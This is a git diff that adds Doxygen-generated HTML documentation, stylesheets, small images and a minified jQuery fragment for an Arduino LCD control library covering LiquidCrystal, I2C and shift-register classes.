LCD SHIFT REGISTER constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters:
+ + + + +
srdata[in]pin for shiftregister data line.
srclock[in]pin for shiftregister clock line.
enable[in]enable pin for the shiftregister (also called strobe).
+
+
+ +

Definition at line 123 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR_LCD3::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters:
+ + +
value[in]Value to send to the LCD.
+
+
+
Returns:
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +

Definition at line 171 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+
The documentation for this class was generated from the following files: +
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.png new file mode 100644 index 0000000000000000000000000000000000000000..966e05cf9e457c77110adb4bac0ccacd89e03711 GIT binary patch literal 442 zcmeAS@N?(olHy`uVBq!ia0vp^lYuyZgBeI_xo@`xQW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;CBIRS^hfzu~p*F??vQ*wj8=YCCD7WLUtHD#5le2AOc6WJLDSkw#}fhw4U zAyjMBN!B7gfViCZ|^Z0iXVSMhbBY8UxdpUImM z#{Jkr@T0+cOK!K_>;1%)zD>A0PfGsCT{|V`<1S8$vfJ*=>DqPmpH0O?<;b*I^XBHg z?>T1C>bU<}aPRxe@{hJ0NjcZ~_T8?Vulx;mwu*b5PA{)L{?%^d<3CS>Rf7Ic$~1hh z^TX@Oudw;IDn8G({CrL{LDQkp(>!v8|K_gZ$W3;?w(T*uxV#`(tbM!D-Jf2|>Y5L- eEVK3b`Gno9Lc!XlKtlx>& + + + +LCD Library: Class Index + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
Class Index
+
+
+
I | L
+ +
  I  
+
  L  
+		LiquidCrystal   LiquidCrystal_SR   LiquidCrystal_SR3W   
I2CIO   LCD   LiquidCrystal_I2C   LiquidCrystal_SR2W   
I | L
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/closed.png b/libraries/LiquidCrystal/docs/html/closed.png new file mode 100644 index 0000000000000000000000000000000000000000..b7d4bd9fef2272c74b94762c9e2496177017775e GIT binary patch literal 126 zcmeAS@N?(olHy`uVBq!ia0vp^oFL4>1|%O$WD@{VuAVNAAr*{o?>h22DDp4|bgj*t z)u^AqcA-V@guRYpb17F<&b?_~8HV>~XqWvB;^$!VVSTy0!eQcJp_yD7TIQA>7dijs YXf6~H5cs^Q6KEiVr>mdKI;Vst0NsWqGynhq literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/doxygen.css b/libraries/LiquidCrystal/docs/html/doxygen.css new file mode 100644 index 0000000..74445fe --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/doxygen.css @@ -0,0 +1,835 @@ +/* The standard CSS for doxygen */ + +body, table, div, p, dl { + font-family: Lucida Grande, Verdana, Geneva, Arial, sans-serif; + font-size: 12px; +} + +/* @group Heading Levels */ + +h1 { + font-size: 150%; +} + +.title { + font-size: 150%; + font-weight: bold; + margin: 10px 2px; +} + +h2 { + font-size: 120%; +} + +h3 { + font-size: 100%; +} + +dt { + font-weight: bold; +} + +div.multicol { + -moz-column-gap: 1em; + -webkit-column-gap: 1em; + -moz-column-count: 3; + -webkit-column-count: 3; +} + +p.startli, p.startdd, p.starttd { + margin-top: 2px; +} + +p.endli { + margin-bottom: 0px; +} + +p.enddd { + margin-bottom: 4px; +} + +p.endtd { + margin-bottom: 2px; +} + +/* @end */ + +caption { + font-weight: bold; +} + +span.legend { + font-size: 70%; + text-align: center; +} + +h3.version { + font-size: 90%; + text-align: center; +} + +div.qindex, div.navtab{ + background-color: #EBEFF6; + border: 1px solid #A3B4D7; + text-align: center; + margin: 2px; + padding: 2px; +} + +div.qindex, div.navpath { + width: 100%; + line-height: 140%; +} + +div.navtab { + margin-right: 15px; +} + +/* @group Link Styling */ + +a { + color: #3D578C; + font-weight: normal; + text-decoration: none; +} + +.contents a:visited { + color: #4665A2; +} + +a:hover { + text-decoration: underline; +} + +a.qindex { + font-weight: bold; +} + +a.qindexHL { + font-weight: bold; + background-color: #9CAFD4; + color: #ffffff; + border: 1px double #869DCA; +} + +.contents a.qindexHL:visited { + color: #ffffff; +} + +a.el { + font-weight: bold; +} + +a.elRef { +} + +a.code { + color: #4665A2; +} + +a.codeRef { + color: #4665A2; +} + +/* @end */ + +dl.el { + margin-left: -1cm; +} + +.fragment { + font-family: monospace, fixed; + font-size: 105%; +} + +pre.fragment { + border: 1px solid #C4CFE5; + background-color: #FBFCFD; + padding: 4px 6px; + margin: 4px 8px 4px 2px; + overflow: auto; + word-wrap: break-word; + font-size: 9pt; + line-height: 125%; +} + +div.ah { + background-color: black; + font-weight: bold; + color: #ffffff; + margin-bottom: 3px; + margin-top: 3px; + padding: 0.2em; + border: solid thin #333; + border-radius: 0.5em; + -webkit-border-radius: .5em; + -moz-border-radius: .5em; + box-shadow: 2px 2px 3px #999; + -webkit-box-shadow: 2px 2px 3px #999; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 2px 2px 2px; + background-image: -webkit-gradient(linear, left top, left bottom, from(#eee), to(#000),color-stop(0.3, #444)); + background-image: -moz-linear-gradient(center top, #eee 0%, #444 40%, #000); +} + +div.groupHeader { + margin-left: 16px; + margin-top: 12px; + font-weight: bold; +} + +div.groupText { + margin-left: 16px; + font-style: italic; +} + +body { + background: white; + color: black; + margin: 0; +} + +div.contents { + margin-top: 10px; + margin-left: 10px; + margin-right: 5px; +} + +td.indexkey { + background-color: #EBEFF6; + font-weight: bold; + border: 1px solid #C4CFE5; + margin: 2px 0px 2px 0; + padding: 2px 10px; +} + +td.indexvalue { + background-color: #EBEFF6; + border: 1px solid #C4CFE5; + padding: 2px 10px; + margin: 2px 0px; +} + +tr.memlist { + background-color: #EEF1F7; +} + +p.formulaDsp { + text-align: center; +} + +img.formulaDsp { + +} + +img.formulaInl { + vertical-align: middle; +} + +div.center { + text-align: center; + margin-top: 0px; + margin-bottom: 0px; + padding: 0px; +} + +div.center img { + border: 0px; +} + +address.footer { + text-align: right; + padding-right: 12px; +} + +img.footer { + border: 0px; + vertical-align: middle; +} + +/* @group Code Colorization */ + +span.keyword { + color: #008000 +} + +span.keywordtype { + color: #604020 +} + +span.keywordflow { + color: #e08000 +} + +span.comment { + color: #800000 +} + +span.preprocessor { + color: #806020 +} + +span.stringliteral { + color: #002080 +} + +span.charliteral { + color: #008080 +} + +span.vhdldigit { + color: #ff00ff +} + +span.vhdlchar { + color: #000000 +} + +span.vhdlkeyword { + color: #700070 +} + +span.vhdllogic { + color: #ff0000 +} + +/* @end */ + +/* +.search { + color: #003399; + font-weight: bold; +} + +form.search { + margin-bottom: 0px; + margin-top: 0px; +} + +input.search { + font-size: 75%; + color: #000080; + font-weight: normal; + background-color: #e8eef2; +} +*/ + +td.tiny { + font-size: 75%; +} + +.dirtab { + padding: 4px; + border-collapse: collapse; + border: 1px solid #A3B4D7; +} + +th.dirtab { + background: #EBEFF6; + font-weight: bold; +} + +hr { + height: 0px; + border: none; + border-top: 1px solid #4A6AAA; +} + +hr.footer { + height: 1px; +} + +/* @group Member Descriptions */ + +table.memberdecls { + border-spacing: 0px; + padding: 0px; +} + +.mdescLeft, .mdescRight, +.memItemLeft, .memItemRight, +.memTemplItemLeft, .memTemplItemRight, .memTemplParams { + background-color: #F9FAFC; + border: none; + margin: 4px; + padding: 1px 0 0 8px; +} + +.mdescLeft, .mdescRight { + padding: 0px 8px 4px 8px; + color: #555; +} + +.memItemLeft, .memItemRight, .memTemplParams { + border-top: 1px solid #C4CFE5; +} + +.memItemLeft, .memTemplItemLeft { + white-space: nowrap; +} + +.memItemRight { + width: 100%; +} + +.memTemplParams { + color: #4665A2; + white-space: nowrap; +} + +/* @end */ + +/* @group Member Details */ + +/* Styles for detailed member documentation */ + +.memtemplate { + font-size: 80%; + color: #4665A2; + font-weight: normal; + margin-left: 9px; +} + +.memnav { + background-color: #EBEFF6; + border: 1px solid #A3B4D7; + text-align: center; + margin: 2px; + margin-right: 15px; + padding: 2px; +} + +.mempage { + width: 100%; +} + +.memitem { + padding: 0; + margin-bottom: 10px; + margin-right: 5px; +} + +.memname { + white-space: nowrap; + font-weight: bold; + margin-left: 6px; +} + +.memproto { + border-top: 1px solid #A8B8D9; + border-left: 1px solid #A8B8D9; + border-right: 1px solid #A8B8D9; + padding: 6px 0px 6px 0px; + color: #253555; + font-weight: bold; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + /* opera specific markup */ + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + border-top-right-radius: 8px; + border-top-left-radius: 8px; + /* firefox specific markup */ + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + -moz-border-radius-topright: 8px; + -moz-border-radius-topleft: 8px; + /* webkit specific markup */ + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + -webkit-border-top-right-radius: 8px; + -webkit-border-top-left-radius: 8px; + background-image:url('nav_f.png'); + background-repeat:repeat-x; + background-color: #E2E8F2; + +} + +.memdoc { + border-bottom: 1px solid #A8B8D9; + border-left: 1px solid #A8B8D9; + border-right: 1px solid #A8B8D9; + padding: 2px 5px; + background-color: #FBFCFD; + border-top-width: 0; + /* opera specific markup */ + border-bottom-left-radius: 8px; + border-bottom-right-radius: 8px; + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + /* firefox specific markup */ + -moz-border-radius-bottomleft: 8px; + -moz-border-radius-bottomright: 8px; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + background-image: -moz-linear-gradient(center top, #FFFFFF 0%, #FFFFFF 60%, #F7F8FB 95%, #EEF1F7); + /* webkit specific markup */ + -webkit-border-bottom-left-radius: 8px; + -webkit-border-bottom-right-radius: 8px; + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + background-image: -webkit-gradient(linear,center top,center bottom,from(#FFFFFF), color-stop(0.6,#FFFFFF), color-stop(0.60,#FFFFFF), color-stop(0.95,#F7F8FB), to(#EEF1F7)); +} + +.paramkey { + text-align: right; +} + +.paramtype { + white-space: nowrap; +} + +.paramname { + color: #602020; + white-space: nowrap; +} +.paramname em { + font-style: normal; +} + +.params, .retval, .exception, .tparams { + border-spacing: 6px 2px; +} + +.params .paramname, .retval .paramname { + font-weight: bold; + vertical-align: top; +} + +.params .paramtype { + font-style: italic; + vertical-align: top; +} + +.params .paramdir { + font-family: "courier new",courier,monospace; + vertical-align: top; +} + + + + +/* @end */ + +/* @group Directory (tree) */ + +/* for the tree view */ + +.ftvtree { + font-family: sans-serif; + margin: 0px; +} + +/* these are for tree view when used as main index */ + +.directory { + font-size: 9pt; + font-weight: bold; + margin: 5px; +} + +.directory h3 { + margin: 0px; + margin-top: 1em; + font-size: 11pt; +} + +/* +The following two styles can be used to replace the root node title +with an image of your choice. Simply uncomment the next two styles, +specify the name of your image and be sure to set 'height' to the +proper pixel height of your image. +*/ + +/* +.directory h3.swap { + height: 61px; + background-repeat: no-repeat; + background-image: url("yourimage.gif"); +} +.directory h3.swap span { + display: none; +} +*/ + +.directory > h3 { + margin-top: 0; +} + +.directory p { + margin: 0px; + white-space: nowrap; +} + +.directory div { + display: none; + margin: 0px; +} + +.directory img { + vertical-align: -30%; +} + +/* these are for tree view when not used as main index */ + +.directory-alt { + font-size: 100%; + font-weight: bold; +} + +.directory-alt h3 { + margin: 0px; + margin-top: 1em; + font-size: 11pt; +} + +.directory-alt > h3 { + margin-top: 0; +} + +.directory-alt p { + margin: 0px; + white-space: nowrap; +} + +.directory-alt div { + display: none; + margin: 0px; +} + +.directory-alt img { + vertical-align: -30%; +} + +/* @end */ + +div.dynheader { + margin-top: 8px; +} + +address { + font-style: normal; + color: #2A3D61; +} + +table.doxtable { + border-collapse:collapse; +} + +table.doxtable td, table.doxtable th { + border: 1px solid #2D4068; + padding: 3px 7px 2px; +} + +table.doxtable th { + background-color: #374F7F; + color: #FFFFFF; + font-size: 110%; + padding-bottom: 4px; + padding-top: 5px; + text-align:left; +} + +.tabsearch { + top: 0px; + left: 10px; + height: 36px; + background-image: url('tab_b.png'); + z-index: 101; + overflow: hidden; + font-size: 13px; +} + +.navpath ul +{ + font-size: 11px; + background-image:url('tab_b.png'); + background-repeat:repeat-x; + height:30px; + line-height:30px; + color:#8AA0CC; + border:solid 1px #C2CDE4; + overflow:hidden; + margin:0px; + padding:0px; +} + +.navpath li +{ + list-style-type:none; + float:left; + padding-left:10px; + padding-right:15px; + background-image:url('bc_s.png'); + background-repeat:no-repeat; + background-position:right; + color:#364D7C; +} + +.navpath li.navelem a +{ + height:32px; + display:block; + text-decoration: none; + outline: none; +} + +.navpath li.navelem a:hover +{ + color:#6884BD; +} + +.navpath li.footer +{ + list-style-type:none; + float:right; + padding-left:10px; + padding-right:15px; + background-image:none; + background-repeat:no-repeat; + background-position:right; + color:#364D7C; + font-size: 8pt; +} + + +div.summary +{ + float: right; + font-size: 8pt; + padding-right: 5px; + width: 50%; + text-align: right; +} + +div.summary a +{ + white-space: nowrap; +} + +div.ingroups +{ + font-size: 8pt; + padding-left: 5px; + width: 50%; + text-align: left; +} + +div.ingroups a +{ + white-space: nowrap; +} + +div.header +{ + background-image:url('nav_h.png'); + background-repeat:repeat-x; + background-color: #F9FAFC; + margin: 0px; + border-bottom: 1px solid #C4CFE5; +} + +div.headertitle +{ + padding: 5px 5px 5px 10px; +} + +dl +{ + padding: 0 0 0 10px; +} + +dl.note, dl.warning, dl.attention, dl.pre, dl.post, dl.invariant, dl.deprecated, dl.todo, dl.test, dl.bug +{ + border-left:4px solid; + padding: 0 0 0 6px; +} + +dl.note +{ + border-color: #D0C000; +} + +dl.warning, dl.attention +{ + border-color: #FF0000; +} + +dl.pre, dl.post, dl.invariant +{ + border-color: #00D000; +} + +dl.deprecated +{ + border-color: #505050; +} + +dl.todo +{ + border-color: #00C0E0; +} + +dl.test +{ + border-color: #3030E0; +} + +dl.bug +{ + border-color: #C08050; +} + +#projectlogo +{ + text-align: center; + vertical-align: bottom; + border-collapse: separate; +} + +#projectlogo img +{ + border: 0px none; +} + +#projectname +{ + font: 300% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 2px 0px; +} + +#projectbrief +{ + font: 120% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +#projectnumber +{ + font: 50% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +#titlearea +{ + padding: 0px; + margin: 0px; + width: 100%; + border-bottom: 1px solid #5373B4; +} + +.image +{ + text-align: center; +} + +.dotgraph +{ + text-align: center; +} + +.mscgraph +{ + text-align: center; +} + +.caption +{ + font-weight: bold; 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+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
File List
+
+
+
Here is a list of all files with brief descriptions:
+ + + + + + + + + + + + + + + + +
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp [code]
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h [code]
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/functions.html b/libraries/LiquidCrystal/docs/html/functions.html new file mode 100644 index 0000000..7536d38 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/functions.html @@ -0,0 +1,319 @@ + + + + +LCD Library: Class Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+
Here is a list of all class members with links to the classes they belong to:
+ +

- _ -

    +
  • _cols +: LCD +
    • +
  • _displaycontrol +: LCD +
    • +
  • _displayfunction +: LCD +
    • +
  • _displaymode +: LCD +
    • +
  • _numlines +: LCD +
    • +
  • _polarity +: LCD +
    • +
+ + +

- a -

    +
  • autoscroll() +: LCD +
    • +
+ + +

- b -

+ + +

- c -

    +
  • clear() +: LCD +
    • +
  • createChar() +: LCD +
    • +
  • cursor() +: LCD +
    • +
+ + +

- d -

    +
  • digitalRead() +: I2CIO +
    • +
  • digitalWrite() +: I2CIO +
    • +
  • display() +: LCD +
    • +
+ + +

- h -

    +
  • home() +: LCD +
    • +
+ + +

- i -

+ + +

- l -

+ + +

- m -

    +
  • moveCursorLeft() +: LCD +
    • +
  • moveCursorRight() +: LCD +
    • +
+ + +

- n -

    +
  • noAutoscroll() +: LCD +
    • +
  • noBacklight() +: LCD +
    • +
  • noBlink() +: LCD +
    • +
  • noCursor() +: LCD +
    • +
  • noDisplay() +: LCD +
    • +
+ + +

- o -

    +
  • off() +: LCD +
    • +
  • on() +: LCD +
    • +
+ + +

- p -

+ + +

- r -

    +
  • read() +: I2CIO +
    • +
  • rightToLeft() +: LCD +
    • +
+ + +

- s -

+ + +

- w -

+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/functions_func.html b/libraries/LiquidCrystal/docs/html/functions_func.html new file mode 100644 index 0000000..6b7e721 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/functions_func.html @@ -0,0 +1,296 @@ + + + + +LCD Library: Class Members - Functions + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+  + +

- a -

    +
  • autoscroll() +: LCD +
    • +
+ + +

- b -

+ + +

- c -

    +
  • clear() +: LCD +
    • +
  • createChar() +: LCD +
    • +
  • cursor() +: LCD +
    • +
+ + +

- d -

    +
  • digitalRead() +: I2CIO +
    • +
  • digitalWrite() +: I2CIO +
    • +
  • display() +: LCD +
    • +
+ + +

- h -

    +
  • home() +: LCD +
    • +
+ + +

- i -

+ + +

- l -

+ + +

- m -

    +
  • moveCursorLeft() +: LCD +
    • +
  • moveCursorRight() +: LCD +
    • +
+ + +

- n -

    +
  • noAutoscroll() +: LCD +
    • +
  • noBacklight() +: LCD +
    • +
  • noBlink() +: LCD +
    • +
  • noCursor() +: LCD +
    • +
  • noDisplay() +: LCD +
    • +
+ + +

- o -

    +
  • off() +: LCD +
    • +
  • on() +: LCD +
    • +
+ + +

- p -

+ + +

- r -

    +
  • read() +: I2CIO +
    • +
  • rightToLeft() +: LCD +
    • +
+ + +

- s -

+ + +

- w -

+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/functions_vars.html b/libraries/LiquidCrystal/docs/html/functions_vars.html new file mode 100644 index 0000000..835fbb8 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/functions_vars.html @@ -0,0 +1,109 @@ + + + + +LCD Library: Class Members - Variables + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ 
    +
  • _cols +: LCD +
    • +
  • _displaycontrol +: LCD +
    • +
  • _displayfunction +: LCD +
    • +
  • _displaymode +: LCD +
    • +
  • _numlines +: LCD +
    • +
  • _polarity +: LCD +
    • +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/globals.html b/libraries/LiquidCrystal/docs/html/globals.html new file mode 100644 index 0000000..1df4aa4 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals.html @@ -0,0 +1,419 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+
Here is a list of all file members with links to the files they belong to:
+ +

- _ -

+ + +

- a -

+ + +

- b -

    +
  • BACKLIGHT_OFF +: LCD.h +
    • +
  • BACKLIGHT_ON +: LCD.h +
    • +
+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

    +
  • HOME_CLEAR_EXEC +: LCD.h +
    • +
+ + +

- l -

+ + +

- n -

+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+ + +

- w -

    +
  • waitUsec() +: LCD.h +
    • +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/globals_defs.html b/libraries/LiquidCrystal/docs/html/globals_defs.html new file mode 100644 index 0000000..687bef9 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_defs.html @@ -0,0 +1,350 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+  + +

- _ -

+ + +

- a -

+ + +

- b -

    +
  • BACKLIGHT_OFF +: LCD.h +
    • +
  • BACKLIGHT_ON +: LCD.h +
    • +
+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

    +
  • HOME_CLEAR_EXEC +: LCD.h +
    • +
+ + +

- l -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/globals_enum.html b/libraries/LiquidCrystal/docs/html/globals_enum.html new file mode 100644 index 0000000..a6254c2 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_enum.html @@ -0,0 +1,95 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ 
    +
  • t_backlighPol +: LCD.h +
    • +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/globals_eval.html b/libraries/LiquidCrystal/docs/html/globals_eval.html new file mode 100644 index 0000000..426672c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_eval.html @@ -0,0 +1,98 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+  +
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/globals_func.html b/libraries/LiquidCrystal/docs/html/globals_func.html new file mode 100644 index 0000000..8599914 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_func.html @@ -0,0 +1,128 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+  +
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/globals_type.html b/libraries/LiquidCrystal/docs/html/globals_type.html new file mode 100644 index 0000000..d480edd --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_type.html @@ -0,0 +1,98 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+  +
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/hierarchy.html b/libraries/LiquidCrystal/docs/html/hierarchy.html new file mode 100644 index 0000000..36aa829 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/hierarchy.html @@ -0,0 +1,97 @@ + + + + +LCD Library: Class Hierarchy + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
Class Hierarchy
+
+
+
This inheritance list is sorted roughly, but not completely, alphabetically:
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/index.html b/libraries/LiquidCrystal/docs/html/index.html new file mode 100644 index 0000000..8ad483a --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/index.html @@ -0,0 +1,78 @@ + + + + +LCD Library: Main Page + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ +
+
+
+
LCD Library Documentation
+
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
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';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var 